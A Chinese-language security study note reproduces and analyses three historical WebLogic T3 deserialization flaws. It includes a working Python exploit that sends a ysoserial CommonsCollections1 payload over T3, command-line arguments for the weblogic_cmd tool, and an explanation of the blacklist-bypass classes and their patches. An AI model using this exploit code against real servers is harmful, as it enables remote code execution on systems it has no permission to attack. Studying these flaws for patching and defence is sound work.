Weblogic:T3反序列化历史漏洞学习(一)

CVE-2015-4852

影响版本

影响版本:

  • Oracle WebLogic Server 12.2.1.0
  • Oracle WebLogic Server 12.1.3.0
  • Oracle WebLogic Server 12.1.2.0
  • Oracle WebLogic Server 10.3.6.0

漏洞复现

自带cc3.2.0,利用ysoserial生成CommonsCollections1的payload然后嵌入T3协议即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii

def generatePayload(gadget,cmd):
YSO_PATH = "ysoserial.jar"
popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
return popen.stdout.read()

def T3Exploit(ip,port,payload):
sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
#return
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header +desflag+ payload
payload = struct.pack(">I",len(payload)) + payload[4:]
sock.send(payload)

if __name__ == "__main__":
ip = "192.168.111.132"
port = 7001
gadget = "CommonsCollections1"
cmd = "touch /tmp/success"
payload = generatePayload(gadget,cmd)
T3Exploit(ip,port,payload)

测试环境:10.3.6.0 jdk7u21

成功创建文件

1
docker exec  weblogic1036jdk7u21 ls tmp/

W5RSVs.png

漏洞分析

weblogic.rjvm.InboundMsgAbbrev#readObject

读取T3协议传输过来的数据并进行反序列化

W5Rpan.png

ServerChannelInputStream#resolveClass

直接调用父类的resolveClass,没有做任何防御

W5RiGV.png

利用链就是CommonsCollections1的,简单梳理一下:

  1. weblogic.rjvm.InboundMsgAbbrev#readObject
  2. AnnotationInvocationHandler#readObject
  3. AnnotationInvocationHandler#invoke
  4. LazyMap#get
  5. 触发transform

漏洞修复

在resolveClass中引入了 ClassFilter.isBlackListed进行过滤

CVE-2016-0638

影响版本

影响版本:

  • Oracle WebLogic Server 12.2.1.0
  • Oracle WebLogic Server 12.1.3.0
  • Oracle WebLogic Server 12.1.2.0
  • Oracle WebLogic Server 10.3.6.0

漏洞复现

利用工具:https://github.com/5up3rc/weblogic_cmd

IDEA中配置参数

1
-H "192.168.111.132" -C "touch /tmp/CVE_2016_0638" -B -os linux

W5RmZ9.png

成功创建文件

1
docker exec  weblogic1036jdk7u21 ls tmp/

W5RuI1.png

漏洞分析

这个漏洞本质上是对CVE-2015-4852补丁,也就是resolveClass的绕过,既然通过黑名单来过滤,那么就找一个不在黑名单里的类就可以了。

weblogic.jms.common.StreamMessageImpl这个类不再黑名单里,它的readExternal方法接收序列化数据作为参数,然后被对参数进行反序列化,然后再执行该参数反序列化后对应类的readObject。简单来说只要把之前CVE-2015-4852的payload装进weblogic.jms.common.StreamMessageImpl,然后在执行weblogic.jms.common.StreamMessageImpl#readExternal的触发readObject进行反序列化。

Weblogic反序列化过程中是会自动调用反序列化对象的readExternal方法的,参考一下反序列化时序图

[W5RPP0.png](https://imgtu.com/i/

理一下绕过resolveClass的原理:

  • ServerChannelInputStream的resolveClass检验到是StreamMessageImpl,不在黑名单里面,通过。
  • 然后在反序列化流程中会调用StreamMessageImpl的readExternal,readExternal内部又new了新的ObjectInputStream(以后简称ois)并从缓冲区读反序列化数据再次调用readObject,这里原生的ois就是原生的resolveClass方法没有过滤。

weblogic.jms.common.StreamMessageImpl#readExternal

可以看到这里对传入的var1再次进行了反序列化,注意这里对传入的反序列化字节流是有条件的:

  1. 判断读取的第一个字节是否为1
  2. PayloadFactoryImpl.ceatePaload方法中需要读取到var1(恶意类数据流)的长度.

Weblogic-cmd工具中重写了StreamMessageImpl.writeExternal,这样就能生成符合要求的序列化数据

W5R95q.png

接下来简单看一下工具执行过程:

1.首先构造CC1的利用链,这个很熟悉了

W5REMF.png

CC1前半段,构建transformers数组

W5RVr4.png

CC1后半段

注意最后红框里的部分,是把cc链的给封装到StreamMesssageImpl里

W5RZqJ.png

2.selectBypass调用了重写过的StreamMessageImpl,然后用Serializables.serial序列化,payload就是序列化过的CC链对象

W5RF2T.png

StreamMessageImpl#writeExternal

这个方法被重写过,在writeObject序列化的时候就可以生成符合要求的序列化数据了

W5RnaR.png

3.Serializables是把序列化的过程封装成了函数

W5RkxU.png

漏洞修复

进一步对ObjectInputStream做了限制,这样不能绕过resolveClass了

W5RMPx.png

CVE-2016-3510

影响版本

影响版本:

  • Oracle WebLogic Server 12.2.1.0
  • Oracle WebLogic Server 12.1.3.0
  • Oracle WebLogic Server 12.1.2.0
  • Oracle WebLogic Server 10.3.6.0

漏洞复现

还是使用weblogic-cmd

改一下TYPE

W5RlRK.png

执行参数

1
-H "192.168.111.132" -C "touch /tmp/CVE_2016_3510" -B -os linux

W5R1xO.png

成功创建文件

W5R8MD.png

漏洞分析

原理跟CVE-2016-0638一样,找到不在黑名单的类然后再利用这个类反序列化。

这次的类是weblogic.corba.utils.MarshalledObject

在执行readResolve的时候会读取this.objBytes,然后赋值给新的ObjectinputStream再进行反序列化,这样又可以绕过resolveClass了,我们只需要把之前的payload放进this.objBytes就可以了

W5RQG6.png

来看看weblogic-cmd的执行过程

来到serialData这里

W5RtZd.png

selectBypass这里就跟刚才不一样了

W5RGse.png

可以看到是把CC链的对象封装进了MarshalledObject对象,然后return,执行Serializables.serial序列化对象

W5RJqH.png

漏洞修复

W5RNdA.png

总结

CVE-2016-0638和CVE-2016-3510本质上都是在绕过resolveClass黑名单,核心思想是找不在黑名单的类,在反序列化这个类的时候再反序列化CC链的对象,这是因为只要new了新的ObjectInputStream,并从缓冲区读反序列化数据再次调用readObject,这里新的ObjectInputStream用的是原生的resolveClass方法,绕过了过滤。

参考链接

https://xz.aliyun.com/t/8701#toc-5

https://xz.aliyun.com/t/8443

http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/

https://zhzhdoai.github.io/2020/08/10/Weblogic-T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E-%E4%B8%80/#CVE-2016-0638

https://y4er.com/post/weblogic-cve-2016-0638/

https://y4er.com/post/weblogic-cve-2016-3510/